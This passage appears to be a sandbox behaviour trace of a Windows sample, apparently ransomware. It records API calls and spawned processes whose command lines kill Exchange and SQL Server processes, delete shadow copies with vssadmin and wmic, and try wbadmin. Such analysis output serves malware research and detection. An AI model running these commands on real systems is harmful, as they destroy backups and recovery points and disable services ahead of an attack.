GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.826] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.827] GetProcessHeap () returned 0x270000 [0038.827] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20c) returned 0x282d98 [0038.827] GetConsoleTitleW (in: lpConsoleTitle=0x282d98, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.827] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.827] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.827] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.827] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.828] GetProcessHeap () returned 0x270000 [0038.828] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x400a) returned 0x286a10 [0038.828] GetProcessHeap () returned 0x270000 [0038.828] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x286a10 | out: hHeap=0x270000) returned 1 [0038.828] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0038.828] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0038.828] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0038.828] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0038.828] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0038.828] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0038.828] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0038.828] GetProcessHeap () returned 0x270000 [0038.828] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x58) returned 0x282fb0 [0038.828] GetProcessHeap () returned 0x270000 [0038.828] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x18) returned 0x283010 [0038.829] GetProcessHeap () returned 0x270000 [0038.829] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x283030 [0038.830] GetConsoleTitleW (in: lpConsoleTitle=0x16f658, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.830] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0038.830] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0038.830] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0038.830] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0038.830] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0038.830] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0038.830] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0038.830] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0038.830] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0038.831] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0038.831] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0038.831] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0038.831] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0038.831] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0038.831] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0038.831] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0038.831] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0038.831] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0038.831] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0038.831] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0038.831] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0038.831] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0038.831] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0038.831] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0038.831] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0038.831] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0038.831] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0038.831] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0038.831] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0038.831] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0038.831] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0038.831] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0038.831] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0038.831] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0038.831] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0038.831] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0038.831] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0038.831] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0038.831] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0038.831] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0038.831] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0038.831] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0038.831] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0038.831] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0038.832] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0038.832] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0038.832] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0038.832] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0038.832] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0038.832] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0038.832] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0038.832] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0038.832] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0038.832] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0038.832] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0038.832] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0038.832] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0038.832] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0038.832] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0038.832] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0038.832] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0038.832] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0038.832] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0038.832] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0038.832] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0038.832] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0038.832] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0038.832] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0038.832] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0038.832] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0038.832] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0038.832] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0038.832] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0038.832] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0038.832] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0038.832] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0038.832] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0038.832] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0038.832] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0038.832] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0038.832] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0038.832] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0038.833] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0038.833] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0038.833] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0038.833] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0038.833] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0038.833] GetProcessHeap () returned 0x270000 [0038.833] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x210) returned 0x283070 [0038.833] GetProcessHeap () returned 0x270000 [0038.833] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x46) returned 0x283288 [0038.833] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0038.833] GetProcessHeap () returned 0x270000 [0038.833] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x418) returned 0x2707f0 [0038.833] SetErrorMode (uMode=0x0) returned 0x0 [0038.833] SetErrorMode (uMode=0x1) returned 0x0 [0038.833] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2707f8, lpFilePart=0x16f178 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f178*="Desktop") returned 0x25 [0038.833] SetErrorMode (uMode=0x0) returned 0x1 [0038.834] GetProcessHeap () returned 0x270000 [0038.834] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x2707f0, Size=0x64) returned 0x2707f0 [0038.834] GetProcessHeap () returned 0x270000 [0038.834] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x2707f0) returned 0x64 [0038.834] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.834] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.834] GetProcessHeap () returned 0x270000 [0038.834] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x120) returned 0x2832d8 [0038.834] GetProcessHeap () returned 0x270000 [0038.834] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x238) returned 0x270860 [0038.841] GetProcessHeap () returned 0x270000 [0038.841] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x270860, Size=0x122) returned 0x270860 [0038.841] GetProcessHeap () returned 0x270000 [0038.841] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x270860) returned 0x122 [0038.841] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.841] GetProcessHeap () returned 0x270000 [0038.841] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe0) returned 0x283400 [0040.003] _get_osfhandle (_FileHandle=2) returned 0xb [0040.003] GetFileType (hFile=0xb) returned 0x2 [0040.003] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0040.003] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16f348 | out: lpMode=0x16f348) returned 1 [0040.004] _get_osfhandle (_FileHandle=2) returned 0xb [0040.004] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x16f37c | out: lpConsoleScreenBufferInfo=0x16f37c) returned 1 [0040.004] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0040.004] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x16f3a0, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x16f3a0*=0x62) returned 1 [0040.005] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.005] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.005] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.005] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0040.005] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.005] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0040.005] SetConsoleInputExeNameW () returned 0x1 [0040.005] GetConsoleOutputCP () returned 0x1b5 [0040.005] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0040.005] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.006] exit (_Code=1) Process: id = "30" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x30acd000" os_pid = "0xbfc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im MSExchange*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0xb6c Thread: id = 110 os_tid = 0xe8c Thread: id = 187 os_tid = 0xf1c Thread: id = 193 os_tid = 0xf34 Thread: id = 194 os_tid = 0xf38 Process: id = "31" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x3271c000" os_pid = "0xb14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im Microsoft.Exchange.*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 37 os_tid = 0x960 Thread: id = 114 os_tid = 0xe9c Thread: id = 197 os_tid = 0xf44 Thread: id = 205 os_tid = 0xf64 Thread: id = 206 os_tid = 0xf68 Process: id = "32" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x31246000" os_pid = "0x9c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im sqlserver.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xac4 Thread: id = 111 os_tid = 0xe90 Thread: id = 188 os_tid = 0xf20 Thread: id = 198 os_tid = 0xf48 Thread: id = 199 os_tid = 0xf4c Process: id = "33" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x3194b000" os_pid = "0x7e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im sqlwriter.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 39 os_tid = 0x998 Thread: id = 113 os_tid = 0xe98 Thread: id = 210 os_tid = 0xf7c Thread: id = 216 os_tid = 0xf94 Thread: id = 217 os_tid = 0xf98 Process: id = "34" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x2f0ff000" os_pid = "0xc84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "27" os_parent_pid = "0x3c8" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0xc88 Thread: id = 82 os_tid = 0xdfc Thread: id = 83 os_tid = 0xe18 Thread: id = 84 os_tid = 0xe28 Thread: id = 85 os_tid = 0xe2c Process: id = "35" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x2e5e5000" os_pid = "0xc9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x868" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0xca0 Thread: id = 78 os_tid = 0xdc8 Thread: id = 79 os_tid = 0xddc Thread: id = 80 os_tid = 0xde8 Thread: id = 81 os_tid = 0xdec Process: id = "36" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x2d86e000" os_pid = "0xca4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xb64" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 53 os_tid = 0xca8 [0048.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1df83c | out: lpSystemTimeAsFileTime=0x1df83c*(dwLowDateTime=0xad2cfe40, dwHighDateTime=0x1d5e09d)) [0048.751] GetCurrentProcessId () returned 0xca4 [0048.751] GetCurrentThreadId () returned 0xca8 [0048.751] GetTickCount () returned 0x1156ebb [0048.751] QueryPerformanceCounter (in: lpPerformanceCount=0x1df834 | out: lpPerformanceCount=0x1df834*=19062196940) returned 1 [0048.752] GetModuleHandleA (lpModuleName=0x0) returned 0xcd0000 [0048.752] __set_app_type (_Type=0x1) [0048.752] __p__fmode () returned 0x76be31f4 [0048.752] __p__commode () returned 0x76be31fc [0048.752] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd0dc15) returned 0x0 [0048.752] __wgetmainargs (in: _Argc=0xd1c5e8, _Argv=0xd1c5f0, _Env=0xd1c5ec, _DoWildCard=0, _StartInfo=0xd1c5fc | out: _Argc=0xd1c5e8, _Argv=0xd1c5f0, _Env=0xd1c5ec) returned 0 [0051.380] ??0CHString@@QAE@XZ () returned 0xd1c28c [0051.381] malloc (_Size=0x18) returned 0x2c13b8 [0051.590] malloc (_Size=0x38) returned 0x2c13d8 [0051.590] malloc (_Size=0x28) returned 0x2c3dc8 [0051.590] malloc (_Size=0x18) returned 0x2c3df8 [0051.590] malloc (_Size=0x24) returned 0x2c3e18 [0051.926] malloc (_Size=0x18) returned 0x2c3e48 [0051.926] malloc (_Size=0x18) returned 0x2c3e68 [0051.926] ??0CHString@@QAE@XZ () returned 0xd1c594 [0051.926] malloc (_Size=0x18) returned 0x2c3e88 [0051.926] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0051.926] SetConsoleCtrlHandler (HandlerRoutine=0xd06b6f, Add=1) returned 1 [0051.926] _onexit (_Func=0xd12f1f) returned 0xd12f1f [0051.926] _onexit (_Func=0xd12f2e) returned 0xd12f2e [0051.926] _onexit (_Func=0xd12f42) returned 0xd12f42 [0051.926] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0051.926] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0051.927] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0053.638] CoCreateInstance (in: rclsid=0xcd6c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xd1c1b0 | out: ppv=0xd1c1b0*=0x9d0828) returned 0x0 [0055.425] GetCurrentProcess () returned 0xffffffff [0055.425] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x1df6e4 | out: TokenHandle=0x1df6e4*=0x108) returned 1 [0055.425] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1df6e0 | out: TokenInformation=0x0, ReturnLength=0x1df6e0) returned 0 [0055.425] malloc (_Size=0x118) returned 0x2c2788 [0055.425] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x2c2788, TokenInformationLength=0x118, ReturnLength=0x1df6e0 | out: TokenInformation=0x2c2788, ReturnLength=0x1df6e0) returned 1 [0055.425] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x2c2788*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.425] free (_Block=0x2c2788) [0055.425] CloseHandle (hObject=0x108) returned 1 [0055.425] malloc (_Size=0x40) returned 0x2c2788 [0055.426] malloc (_Size=0x40) returned 0x2c27d0 [0055.426] malloc (_Size=0x40) returned 0x2c2818 [0055.426] malloc (_Size=0x20a) returned 0x2c2860 [0055.426] GetSystemDirectoryW (in: lpBuffer=0x2c2860, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0055.426] free (_Block=0x2c2860) [0055.772] malloc (_Size=0xc) returned 0x2c3fb8 [0055.772] malloc (_Size=0xc) returned 0x2c3fd0 [0055.772] malloc (_Size=0xc) returned 0x2c2860 [0055.772] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0055.772] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0055.772] free (_Block=0x2c3fb8) [0055.772] free (_Block=0x2c3fd0) [0055.772] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76e10000 [0055.773] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0055.773] SetThreadUILanguage (LangId=0x0) returned 0x409 [0055.774] FreeLibrary (hLibModule=0x76e10000) returned 1 [0055.774] free (_Block=0x2c2860) [0055.774] _vsnwprintf (in: _Buffer=0x2c2818, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x1df640 | out: _Buffer="ms_409") returned 6 [0055.774] malloc (_Size=0x20) returned 0x2c3fb8 [0055.774] GetComputerNameW (in: lpBuffer=0x2c3fb8, nSize=0x1df698 | out: lpBuffer="XDUWTFONO", nSize=0x1df698) returned 1 [0055.775] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.775] malloc (_Size=0x14) returned 0x2c2860 [0055.775] lstrlenW 